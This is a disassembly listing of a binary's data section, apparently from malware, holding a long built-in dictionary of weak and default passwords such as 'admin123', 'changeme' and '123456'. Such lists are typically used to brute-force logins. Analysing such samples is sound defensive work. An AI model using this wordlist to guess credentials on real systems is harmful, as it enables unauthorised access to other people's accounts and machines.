aElanor		db 'elanor',0           ; DATA XREF: .nsp0:004265FCo
		align 10h
aElaine		db 'elaine',0           ; DATA XREF: .nsp0:004265F8o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: .nsp0:004265F4o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: .nsp0:004265F0o
		align 10h
aEileen		db 'eileen',0           ; DATA XREF: .nsp0:004265ECo
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: .nsp0:004265E8o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: .nsp0:004265E4o
aEdwina		db 'edwina',0           ; DATA XREF: .nsp0:004265E0o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: .nsp0:004265DCo
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: .nsp0:004265D8o
		align 4
aEducation	db 'education',0        ; DATA XREF: .nsp0:004265D4o
		align 4
aEdition	db 'edition',0          ; DATA XREF: .nsp0:004265D0o
aEdit		db 'edit',0             ; DATA XREF: .nsp0:004265CCo
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: .nsp0:004265C8o
		align 10h
aEdges		db 'edges',0            ; DATA XREF: .nsp0:004265C4o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: .nsp0:004265C0o
		align 10h
aEcho		db 'echo',0             ; DATA XREF: .nsp0:004265BCo
		align 4
aEatme		db 'eatme',0            ; DATA XREF: .nsp0:004265B8o
		align 10h
aEasy		db 'easy',0             ; DATA XREF: .nsp0:004265B4o
		align 4
aEasier		db 'easier',0           ; DATA XREF: .nsp0:004265B0o
		align 10h
aEarth		db 'earth',0            ; DATA XREF: .nsp0:004265ACo
		align 4
aEagle		db 'eagle',0            ; DATA XREF: .nsp0:004265A8o
		align 10h
aEager		db 'eager',0            ; DATA XREF: .nsp0:004265A4o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: .nsp0:004265A0o
		align 10h
aDungeon	db 'dungeon',0          ; DATA XREF: .nsp0:0042659Co
aDuncan		db 'duncan',0           ; DATA XREF: .nsp0:00426598o
		align 10h
aDulce		db 'dulce',0            ; DATA XREF: .nsp0:00426594o
		align 4
aDuke		db 'duke',0             ; DATA XREF: .nsp0:00426590o
		align 10h
aDuelist	db 'duelist',0          ; DATA XREF: .nsp0:0042658Co
aDude		db 'dude',0             ; DATA XREF: .nsp0:00426588o
		align 10h
aDuck		db 'duck',0             ; DATA XREF: .nsp0:00426584o
		align 4
aDrought	db 'drought',0          ; DATA XREF: .nsp0:00426580o
aDrive		db 'drive',0            ; DATA XREF: .nsp0:0042657Co
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: .nsp0:00426578o
		align 10h
aDragon		db 'dragon',0           ; DATA XREF: .nsp0:00426574o
		align 4
aDownload	db 'download',0         ; DATA XREF: .nsp0:00426570o
		align 4
aDope		db 'dope',0             ; DATA XREF: .nsp0:0042656Co
		align 4
aDoors		db 'doors',0            ; DATA XREF: .nsp0:00426568o
		align 4
aDoor		db 'door',0             ; DATA XREF: .nsp0:00426564o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: .nsp0:00426560o
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: .nsp0:0042655Co
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: .nsp0:00426558o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: .nsp0:00426554o
		align 4
aDoom		db 'doom',0             ; DATA XREF: .nsp0:00426550o
		align 4
aDong		db 'dong',0             ; DATA XREF: .nsp0:0042654Co
		align 4
aDollar		db 'dollar',0           ; DATA XREF: .nsp0:00426548o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: .nsp0:00426544o
		align 4
aDisplay	db 'display',0          ; DATA XREF: .nsp0:00426540o
aDisney		db 'disney',0           ; DATA XREF: .nsp0:0042653Co
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: .nsp0:00426538o
		align 10h
aDisk_0		db 'disk',0             ; DATA XREF: .nsp0:00426534o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: .nsp0:00426530o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: .nsp0:0042652Co
		align 10h
aDiscipli	db 'discipli',0         ; DATA XREF: .nsp0:00426528o
		align 4
aDisc		db 'disc',0             ; DATA XREF: .nsp0:00426524o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: .nsp0:00426520o
		align 4
aDirector	db 'director',0         ; DATA XREF: .nsp0:0042651Co
		align 4
aDirect		db 'direct',0           ; DATA XREF: .nsp0:00426518o
		align 10h
aDipshit	db 'dipshit',0          ; DATA XREF: .nsp0:00426514o
aDinosaur	db 'dinosaur',0         ; DATA XREF: .nsp0:00426510o
		align 4
aDigital	db 'digital',0          ; DATA XREF: .nsp0:0042650Co
aDieter		db 'dieter',0           ; DATA XREF: .nsp0:00426508o
		align 4
aDiet		db 'diet',0             ; DATA XREF: .nsp0:00426504o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: .nsp0:00426500o
aDick		db 'dick',0             ; DATA XREF: .nsp0:004264FCo
		align 4
aDice		db 'dice',0             ; DATA XREF: .nsp0:004264F8o
		align 4
aDiane		db 'diane',0            ; DATA XREF: .nsp0:004264F4o
		align 4
aDiana		db 'diana',0            ; DATA XREF: .nsp0:004264F0o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: .nsp0:004264ECo
aDial		db 'dial',0             ; DATA XREF: .nsp0:004264E8o
		align 4
aDevice		db 'device',0           ; DATA XREF: .nsp0:004264E4o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: .nsp0:004264E0o
aDesperat	db 'desperat',0         ; DATA XREF: .nsp0:004264DCo
		align 10h
aDesktop	db 'desktop',0          ; DATA XREF: .nsp0:004264D8o
aDesk		db 'desk',0             ; DATA XREF: .nsp0:004264D4o
		align 10h
aDesiree	db 'desiree',0          ; DATA XREF: .nsp0:004264D0o
aDennis		db 'dennis',0           ; DATA XREF: .nsp0:004264CCo
		align 10h
aDenise		db 'denise',0           ; DATA XREF: .nsp0:004264C8o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: .nsp0:004264C4o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: .nsp0:004264C0o
		align 4
aDelta		db 'delta',0            ; DATA XREF: .nsp0:004264BCo
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: .nsp0:004264B8o
		align 4
aDefault	db 'DEFAULT',0          ; DATA XREF: .nsp0:004264B4o
aDeck		db 'deck',0
		align 4
aDecember	db 'december',0
		align 4
aDebug		db 'debug',0
		align 10h
aDeborah	db 'deborah',0
aDebbie		db 'debbie',0
		align 10h
aDeathsta	db 'deathsta',0
		align 4
aDead		db 'dead',0
		align 4
aDawn		db 'dawn',0
		align 4
aDave		db 'dave',0
		align 4
aData		db 'data',0
		align 4
aDarkaven	db 'darkaven',0
		align 4
aDark		db 'dark',0
		align 10h
aDapper		db 'dapper',0
		align 4
aDanny		db 'danny',0
		align 10h
aDanielle	db 'danielle',0
		align 4
aDaniel		db 'daniel',0
		align 4
aDancer		db 'dancer',0
		align 4
aDana		db 'dana',0
		align 4
aDaisy		db 'daisy',0
		align 4
aDaemon		db 'daemon',0
		align 4
aCynthia	db 'cynthia',0
aCyberspa	db 'cyberspa',0
		align 4
aCyberpun	db 'cyberpun',0
		align 4
aCyber		db 'cyber',0
		align 4
aCustomer	db 'customer',0
		align 4
aCunt		db 'cunt',0
		align 10h
aCshrc		db 'cshrc',0
		align 4
aCrystal	db 'crystal',0
aCristina	db 'cristina',0
		align 4
aCriminal	db 'criminal',0
		align 4
aCrime		db 'crime',0
		align 10h
aCretin		db 'cretin',0
		align 4
aCreosote	db 'creosote',0
		align 4
aCredit		db 'credit',0
		align 4
aCreature	db 'creature',0
		align 4
aCreation	db 'creation',0
		align 4
aCreate		db 'create',0
		align 4
aCream		db 'cream',0
		align 4
aCrackpot	db 'crackpot',0
		align 10h
aCrack		db 'crack',0
		align 4
aCowboy		db 'cowboy',0
		align 10h
aCouscous	db 'couscous',0
		align 4
aCountry	db 'country',0
aCounters	db 'counters',0
		align 10h
aCorrect	db 'correct',0
aCorneliu	db 'corneliu',0
		align 4
aCopy		db 'copy',0
		align 4
aCops		db 'cops',0
		align 4
aCopper		db 'copper',0
		align 4
aCooper		db 'cooper',0
		align 4
aCool		db 'cool',0
		align 4
aCookie		db 'cookie',0
		align 4
aCookbook	db 'cookbook',0
		align 10h
aCook		db 'cook',0
		align 4
aContinue	db 'continue',0         ; DATA XREF: .nsp0:0040BED6o
		align 4
aConsole	db 'console',0
aConserva	db 'conserva',0
		align 4
aConnie		db 'connie',0
		align 10h
aCondom		db 'condom',0
		align 4
aCondo		db 'condo',0
		align 10h
aComrades	db 'comrades',0
		align 4
aComrade	db 'comrade',0
aComputin	db 'computin',0
		align 10h
aCompany	db 'company',0
aCommrade	db 'commrade',0
		align 4
aCommit		db 'commit',0
		align 4
aComics		db 'comics',0
		align 4
aCombat		db 'combat',0
		align 4
aColor		db 'color',0
		align 4
aCollins	db 'collins',0
aCold		db 'cold',0
		align 4
aCola		db 'cola',0
		align 4
aCoke		db 'coke',0
		align 4
aCoin		db 'coin',0
		align 4
aCoffee		db 'coffee',0
		align 4
aCodeword	db 'codeword',0
		align 10h
aCodename	db 'codename',0
		align 4
aCode		db 'code',0
		align 4
aCock		db 'cock',0
		align 4
aCocainco	db 'cocainco',0
		align 4
aCocacola	db 'cocacola',0
		align 4
aCoast		db 'coast',0
		align 4
aClusters	db 'clusters',0
		align 4
aCluster	db 'cluster',0
aClinton	db 'clinton',0
aCleavage	db 'cleavage',0
		align 4
aClaymore	db 'claymore',0
		align 10h
aClaudia	db 'claudia',0
aClassic	db 'classic',0
aClasses	db 'classes',0
aClass		db 'class',0
		align 10h
aCindy		db 'cindy',0
		align 4
aCigarett	db 'cigarett',0
		align 4
aCigar		db 'cigar',0
		align 4
aChristy	db 'christy',0
aChristin	db 'christin',0
		align 10h
aChris		db 'chris',0
		align 4
aChip		db 'chip',0
		align 10h
aChester	db 'chester',0
aChess		db 'chess',0
		align 10h
aChemistr	db 'chemistr',0
		align 4
aChem		db 'chem',0
		align 4
aChat		db 'chat',0
		align 4
aCharon		db 'charon',0
		align 4
aCharming	db 'charming',0
		align 10h
aCharlie	db 'charlie',0
aCharles	db 'charles',0
aCharity	db 'charity',0
aChange		db 'change',0
		align 10h
aCerulean	db 'cerulean',0
		align 4
aCeltics	db 'celtics',0
aCeltic		db 'celtic',0
		align 4
aCelt		db 'celt',0
		align 4
aCecily		db 'cecily',0
		align 4
aCayuga		db 'cayuga',0
		align 4
aCave		db 'cave',0
		align 4
aCathy		db 'cathy',0
		align 4
aCatholic	db 'catholic',0
		align 10h
aCatherin	db 'catherin',0
		align 4
aCastle		db 'castle',0
		align 4
aCash		db 'cash',0
		align 4
aCascades	db 'cascades',0
		align 4
aCarson		db 'carson',0
		align 10h
aCarrie		db 'carrie',0
		align 4
aCaroline	db 'caroline',0
		align 4
aCarolina	db 'carolina',0
		align 10h
aCarole		db 'carole',0
		align 4
aCarol		db 'carol',0
		align 10h
aCarmen		db 'carmen',0
		align 4
aCarla		db 'carla',0
		align 10h
aCaren		db 'caren',0
		align 4
aCardinal	db 'cardinal',0
		align 4
aCard		db 'card',0
		align 4
aCapture	db 'capture',0
aCaptain	db 'captain',0
aCantor		db 'cantor',0
		align 4
aCandy		db 'candy',0
		align 4
aCandi		db 'candi',0
		align 4
aCamping	db 'camping',0
aCampanil	db 'campanil',0
		align 4
aCamille	db 'camille',0
aCaliforn	db 'californ',0
		align 4
aButthead	db 'butthead',0
		align 4
aButt		db 'butt',0
		align 10h
aButch		db 'butch',0
		align 4
aBurn		db 'burn',0
		align 10h
aBurgess	db 'burgess',0
aBung		db 'bung',0
		align 10h
aBumbling	db 'bumbling',0
		align 4
aBullshit	db 'bullshit',0
		align 4
aBulls		db 'bulls',0
		align 10h
aBrutefor	db 'brutefor',0
		align 4
aBrute		db 'brute',0
		align 4
aBrunette	db 'brunette',0
		align 10h
aBrothel	db 'brothel',0
aBroadway	db 'broadway',0
		align 4
aBridget	db 'bridget',0
aBrian		db 'brian',0
		align 4
aBrenda		db 'brenda',0
		align 4
aBreast		db 'breast',0
		align 4
aBreak		db 'break',0
		align 4
aBravo		db 'bravo',0
		align 4
aBrandy		db 'brandy',0
		align 4
aBrandi		db 'brandi',0
		align 4
aBradley	db 'bradley',0
aBoyscout	db 'boyscout',0
		align 4
aBorn		db 'born',0
		align 10h
aBook		db 'book',0
		align 4
aBoobs		db 'boobs',0
		align 10h
aBoob		db 'boob',0
		align 4
aBoner		db 'boner',0
		align 10h
aBomb		db 'bomb',0
		align 4
aBoard		db 'board',0
		align 10h
aBlues		db 'blues',0
		align 4
aBlue		db 'blue',0
		align 10h
aBlowjob	db 'blowjob',0
aBlow		db 'blow',0
		align 10h
aBloodaxe	db 'bloodaxe',0
		align 4
aBlood		db 'blood',0
		align 4
aBlondie	db 'blondie',0
aBlonde		db 'blonde',0
		align 4
aBlack		db 'black',0
		align 4
aBitnet		db 'bitnet',0
		align 4
aBitmap		db 'bitmap',0
		align 4
aBitch		db 'bitch',0
		align 4
aBishop		db 'bishop',0
		align 4
aBird		db 'bird',0
		align 4
aBios		db 'bios',0
		align 4
aBinary		db 'binary',0
		align 4
aBill		db 'bill',0
		align 4
aBigfoot	db 'bigfoot',0
aBicamera	db 'bicamera',0
		align 10h
aBible		db 'bible',0
		align 4
aBeverly	db 'beverly',0
aBetty		db 'betty',0
		align 4
aBetsie		db 'betsie',0
		align 10h
aBeth		db 'beth',0
		align 4
aBeta		db 'beta',0
		align 10h
aBeryl		db 'beryl',0
		align 4
aBerliner	db 'berliner',0
		align 4
aBerlin		db 'berlin',0
		align 4
aBerkeley	db 'berkeley',0
		align 4
aBeowulf	db 'beowulf',0
aBenz		db 'benz',0
		align 4
aBeloved	db 'beloved',0
aBell		db 'bell',0
		align 4
aBehead		db 'behead',0
		align 10h
aBegin		db 'begin',0
		align 4
aBeethove	db 'beethove',0
		align 4
aBecky		db 'becky',0
		align 4
aBeaver		db 'beaver',0
		align 4
aBeauty		db 'beauty',0
		align 4
aBeater		db 'beater',0
		align 4
aBeast		db 'beast',0
		align 4
aBear		db 'bear',0
		align 4
aBeammeup	db 'beammeup',0
		align 10h
aBeach		db 'beach',0
		align 4
aBatman		db 'batman',0
		align 10h
aBatch		db 'batch',0
		align 4
aBassoon	db 'bassoon',0
aBass		db 'bass',0
		align 4
aBasic		db 'basic',0
		align 10h
aBaseball	db 'baseball',0
		align 4
aBartman	db 'bartman',0
aBart		db 'bart',0
		align 4
aBaritone	db 'baritone',0
		align 4
aBarf		db 'barf',0
		align 10h
aBare		db 'bare',0
		align 4
aBarber		db 'barber',0
		align 10h
aBarbara	db 'barbara',0
aBanks		db 'banks',0
		align 10h
aBank		db 'bank',0
		align 4
aBandit		db 'bandit',0
		align 10h
aBananas	db 'bananas',0
aBanana		db 'banana',0
		align 10h
aBall		db 'ball',0             ; DATA XREF: .nsp0:004260FCo
		align 4
aBailey		db 'bailey',0           ; DATA XREF: .nsp0:004260F8o
		align 10h
aBadass		db 'badass',0           ; DATA XREF: .nsp0:004260F4o
		align 4
aBackdoor	db 'backdoor',0
		align 4
aBacchus	db 'bacchus',0
aBaby		db 'baby',0
		align 4
aBabe		db 'babe',0
		align 4
aAzure		db 'azure',0
		align 4
aAztecs		db 'aztecs',0
		align 4
aAuthoriz	db 'authoriz',0
		align 4
aAttack		db 'attack',0
		align 10h
aAtom		db 'atom',0
		align 4
aAtmosphe	db 'atmosphe',0
		align 4
aAthena		db 'athena',0
		align 4
aAsshole	db 'asshole',0
aAsian		db 'asian',0
		align 4
aArtist		db 'artist',0
		align 4
aArthur		db 'arthur',0
		align 4
aArrow		db 'arrow',0
		align 4
aArmy		db 'army',0
		align 4
aArlene		db 'arlene',0
		align 4
aAriadne	db 'ariadne',0
aAria		db 'aria',0
		align 4
aApril		db 'april',0
		align 4
aApollo13	db 'apollo13',0
		align 4
aAnything	db 'anything',0
		align 4
aAnvils		db 'anvils',0
		align 4
aAnthropo	db 'anthropo',0
		align 4
aAnthrax	db 'anthrax',0
aAnswer		db 'answer',0
		align 4
aAnonymou	db 'anonymou',0
		align 4
aAnon		db 'anon',0
		align 4
aAnnette	db 'annette',0
aAnne		db 'anne',0
		align 4
aAnna		db 'anna',0
		align 4
aAnita		db 'anita',0
		align 4
aAnimals	db 'animals',0
aAnimal		db 'animal',0
		align 4
aAngie		db 'angie',0
		align 4
aAngerine	db 'angerine',0
		align 10h
aAngela		db 'angela',0
		align 4
aAnfo		db 'anfo',0
		align 10h
aAndy		db 'andy',0
		align 4
aAndromac	db 'andromac',0
		align 4
aAndroid	db 'android',0
aAndrea		db 'andrea',0
		align 4
aAnchor		db 'anchor',0
		align 4
aAnarchy	db 'anarchy',0
aAnarchis	db 'anarchis',0
		align 10h
aAnalog		db 'analog',0
		align 4
aAnal		db 'anal',0
		align 10h
aAmorphou	db 'amorphou',0
		align 4
aAmerica	db 'america',0
aAmber		db 'amber',0
		align 4
aAmanda		db 'amanda',0
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: .nsp0:00426020o
aAlphabet	db 'alphabet',0         ; DATA XREF: .nsp0:0042601Co
		align 4
aAllow		db 'allow',0            ; DATA XREF: .nsp0:00426018o
		align 10h
aAllison	db 'allison',0          ; DATA XREF: .nsp0:00426014o
aAlison		db 'alison',0           ; DATA XREF: .nsp0:00426010o
		align 10h
aAlisa		db 'alisa',0            ; DATA XREF: .nsp0:0042600Co
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: .nsp0:00426008o
		align 10h
aAlice		db 'alice',0            ; DATA XREF: .nsp0:00426004o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: .nsp0:00426000o
aAlias		db 'alias',0            ; DATA XREF: .nsp0:00425FFCo
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: .nsp0:00425FF8o
aAlexande	db 'alexande',0         ; DATA XREF: .nsp0:00425FF4o
		align 4
aAlex		db 'alex',0             ; DATA XREF: .nsp0:00425FF0o
		align 4
aAlert		db 'alert',0            ; DATA XREF: .nsp0:00425FECo
		align 4
aAlbert		db 'albert',0           ; DATA XREF: .nsp0:00425FE8o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: .nsp0:00425FE4o
		align 10h
aAlbany		db 'albany',0           ; DATA XREF: .nsp0:00425FE0o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: .nsp0:00425FDCo
		align 10h
aAirplane	db 'airplane',0         ; DATA XREF: .nsp0:00425FD8o
		align 4
aAids		db 'aids',0             ; DATA XREF: .nsp0:00425FD4o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: .nsp0:00425FD0o
		align 10h
aAdult		db 'adult',0            ; DATA XREF: .nsp0:00425FCCo
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: .nsp0:00425FC8o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: .nsp0:00425FC4o
		align 4
aAdam		db 'adam',0             ; DATA XREF: .nsp0:00425FC0o
		align 4
aAction		db 'action',0           ; DATA XREF: .nsp0:00425FBCo
		align 4
aAccount	db 'account',0          ; DATA XREF: .nsp0:00425FB8o
aAcademic	db 'academic',0         ; DATA XREF: .nsp0:00425FB0o
		align 10h
aAcademia	db 'academia',0         ; DATA XREF: .nsp0:00425FACo
		align 4
a000000		db '000000',0           ; DATA XREF: .nsp0:00425FA8o
					; .nsp0:004279C0o
		align 4
a00000		db '00000',0            ; DATA XREF: .nsp0:00425FA4o
					; .nsp0:004279BCo
		align 4
a0000		db '0000',0             ; DATA XREF: .nsp0:00425FA0o
					; .nsp0:004279B8o
		align 4
a000		db '000',0              ; DATA XREF: .nsp0:00425F9Co
					; .nsp0:004279B4o
aTesting	db 'testing',0          ; DATA XREF: .nsp0:00425F98o
aDeath		db 'death',0            ; DATA XREF: .nsp0:00425F94o
		align 4
a00		db '00',0               ; DATA XREF: .nsp0:00425F90o
					; .nsp0:004279B0o
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .nsp0:00425F88o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .nsp0:00425F84o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .nsp0:00425F80o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .nsp0:00425F7Co
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .nsp0:00425F78o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .nsp0:00425F74o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .nsp0:00425F70o
aXx		db 'xx',0               ; DATA XREF: .nsp0:00425F6Co
		align 4
asc_42C63C:				; DATA XREF: .nsp0:00425F68o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: .nsp0:00425F64o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .nsp0:00425F60o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: .nsp0:00425F5Co
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: .nsp0:00425F58o
		align 10h
aKiddie		db 'kiddie',0           ; DATA XREF: .nsp0:00425F54o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: .nsp0:00425F50o
		align 4
aScript		db 'script',0           ; DATA XREF: .nsp0:00425F4Co
		align 10h
aHax0r		db 'hax0r',0            ; DATA XREF: .nsp0:00425F48o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: .nsp0:00425F44o
		align 10h
aL337		db 'l337',0             ; DATA XREF: .nsp0:00425F40o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: .nsp0:00425F3Co
		align 10h
aLeet		db 'leet',0             ; DATA XREF: .nsp0:00425F38o
		align 4
aKiller		db 'killer',0           ; DATA XREF: .nsp0:00425F34o
		align 10h
a0wn3d		db '0wn3d',0            ; DATA XREF: .nsp0:00425F30o
					; .nsp0:00427A1Co
		align 4
aW00t		db 'w00t',0             ; DATA XREF: .nsp0:00425F2Co
		align 10h
aHeaven		db 'heaven',0           ; DATA XREF: .nsp0:00425F28o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: .nsp0:00425F24o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: .nsp0:00425F20o
aSatanik	db 'satanik',0          ; DATA XREF: .nsp0:00425F1Co
aSatan		db 'satan',0            ; DATA XREF: .nsp0:00425F18o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: .nsp0:00425F14o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: .nsp0:00425F10o
aMatt		db 'Matt',0             ; DATA XREF: .nsp0:00425F0Co
		align 4
aMat		db 'Mat',0              ; DATA XREF: .nsp0:00425F08o
aPw		db 'pw',0               ; DATA XREF: .nsp0:00425F04o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: .nsp0:00425F00o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: .nsp0:00425EFCo
		align 10h
aPw123		db 'pw123',0            ; DATA XREF: .nsp0:00425EF8o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: .nsp0:00425EF4o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: .nsp0:00425EF0o
aMypc		db 'mypc',0             ; DATA XREF: .nsp0:00425EECo
		align 4
aLove		db 'love',0             ; DATA XREF: .nsp0:00425EE8o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .nsp0:00425EE4o
aLogin		db 'login',0            ; DATA XREF: .nsp0:00425EE0o
		align 4
aHome		db 'home',0             ; DATA XREF: .nsp0:00425EDCo
		align 10h
aZxcv		db 'zxcv',0             ; DATA XREF: .nsp0:00425ED8o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: .nsp0:00425ED4o
		align 10h
aQwer		db 'qwer',0             ; DATA XREF: .nsp0:00425ED0o
		align 4
aSecret		db 'secret',0           ; DATA XREF: .nsp0:00425ECCo
		align 10h
aAsdf		db 'asdf',0             ; DATA XREF: .nsp0:00425EC8o
		align 4
aPc		db 'pc',0               ; DATA XREF: .nsp0:00425EC4o
		align 4
aWin		db 'win',0              ; DATA XREF: .nsp0:00425EC0o
aTest123	db 'test123',0          ; DATA XREF: .nsp0:00425EBCo
aAbc		db 'abc',0              ; DATA XREF: .nsp0:00425EB8o
aAaa		db 'aaa',0              ; DATA XREF: .nsp0:00425EB4o
aA_1:					; DATA XREF: .nsp0:00425EB0o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: .nsp0:00425EACo
		align 4
aFucked		db 'fucked',0           ; DATA XREF: .nsp0:00425EA8o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: .nsp0:00425EA4o
aIrule		db 'irule',0            ; DATA XREF: .nsp0:00425EA0o
		align 4
aOwned		db 'owned',0            ; DATA XREF: .nsp0:00425E9Co
		align 4
a0wned		db '0wned',0            ; DATA XREF: .nsp0:00425E98o
					; .nsp0:00427A20o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: .nsp0:00425E94o
		align 10h
aNetdevil	db 'netdevil',0         ; DATA XREF: .nsp0:00425E90o
		align 4
aDevil		db 'devil',0            ; DATA XREF: .nsp0:00425E8Co
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: .nsp0:00425E88o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: .nsp0:00425E84o
		align 4
aGod		db 'god',0              ; DATA XREF: .nsp0:00425E80o
aSex_0		db 'sex',0              ; DATA XREF: .nsp0:00425E7Co
aPat		db 'pat',0              ; DATA XREF: .nsp0:00425E78o
aPatrick	db 'patrick',0          ; DATA XREF: .nsp0:00425E74o
aAlpha		db 'alpha',0            ; DATA XREF: .nsp0:00425E70o
		align 10h
a007		db '007',0              ; DATA XREF: .nsp0:00425E6Co
					; .nsp0:00427A0Co
a123abc		db '123abc',0           ; DATA XREF: .nsp0:00425E68o
					; .nsp0:00427C1Co
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .nsp0:00425E64o
					; .nsp0:00427C28o
		align 4
a123123		db '123123',0           ; DATA XREF: .nsp0:00425E60o
					; .nsp0:00427BC8o
		align 10h
a121212		db '121212',0           ; DATA XREF: .nsp0:00425E5Co
					; .nsp0:00427BC0o
		align 4
a111111		db '111111',0           ; DATA XREF: .nsp0:00425E58o
					; .nsp0:00427A38o
		align 10h
a110		db '110',0              ; DATA XREF: .nsp0:00425E54o
					; .nsp0:00427B8Co
a2600		db '2600',0             ; DATA XREF: .nsp0:00425E50o
		align 4
a2002		db '2002',0             ; DATA XREF: .nsp0:00425E48o
					; .nsp0:00427D00o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .nsp0:00425E44o
		align 4
aEnable		db 'enable',0           ; DATA XREF: .nsp0:00425E40o
		align 10h
aGodblessyou	db 'godblessyou',0      ; DATA XREF: .nsp0:00425E3Co
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: .nsp0:00425E38o
a123asd		db '123asd',0           ; DATA XREF: .nsp0:00425E34o
					; .nsp0:00427C20o
		align 10h
aSuper		db 'super',0            ; DATA XREF: .nsp0:00425E30o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: .nsp0:00425E2Co
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: .nsp0:00427C24o
		align 4
aSybase		db 'sybase',0
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .nsp0:00425E18o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: .nsp0:00425E14o
		align 4
aPasswd		db 'passwd',0
		align 4
aPass_0		db 'pass',0
		align 4
a88888888	db '88888888',0         ; DATA XREF: .nsp0:00427B58o
		align 10h
a11111111	db '11111111',0         ; DATA XREF: .nsp0:00427A40o
		align 4
a111		db '111',0              ; DATA XREF: .nsp0:00427A2Co
a54321		db '54321',0            ; DATA XREF: .nsp0:00425DF8o
		align 4
a654321		db '654321',0           ; DATA XREF: .nsp0:00425DF4o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .nsp0:00425DF0o
					; .nsp0:00427BE0o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .nsp0:00425DECo
					; .nsp0:00427BDCo
		align 4
a1234567	db '1234567',0          ; DATA XREF: .nsp0:00425DE8o
					; .nsp0:00427BD8o
a123456		db '123456',0           ; DATA XREF: .nsp0:00425DE4o
					; .nsp0:00427BD4o
		align 4
a12345		db '12345',0            ; DATA XREF: .nsp0:00425DE0o
					; .nsp0:00427BD0o
		align 10h
a1234		db '1234',0             ; DATA XREF: .nsp0:00425DDCo
					; .nsp0:00427BCCo
		align 4
a123		db '123',0              ; DATA XREF: .nsp0:00425DD8o
					; .nsp0:00427BC4o
a12		db '12',0               ; DATA XREF: .nsp0:00425DD4o
					; .nsp0:00427BB8o
		align 10h
a1:					; DATA XREF: .nsp0:00425DD0o
					; .nsp0:00427A24o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: .nsp0:00425DCCo
aChangeme_0	db 'Changeme',0         ; DATA XREF: .nsp0:00425DC8o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .nsp0:00425DC4o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .nsp0:00425DC0o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .nsp0:00425DBCo
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .nsp0:00425DB8o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: .nsp0:00425DB4o
		align 4
aServer_0	db 'SERVER',0           ; DATA XREF: .nsp0:00425DB0o
					; .nsp0:00428170o
		align 4
aSystem		db 'SYSTEM',0           ; DATA XREF: .nsp0:00425DACo
					; .nsp0:0042816Co
		align 4
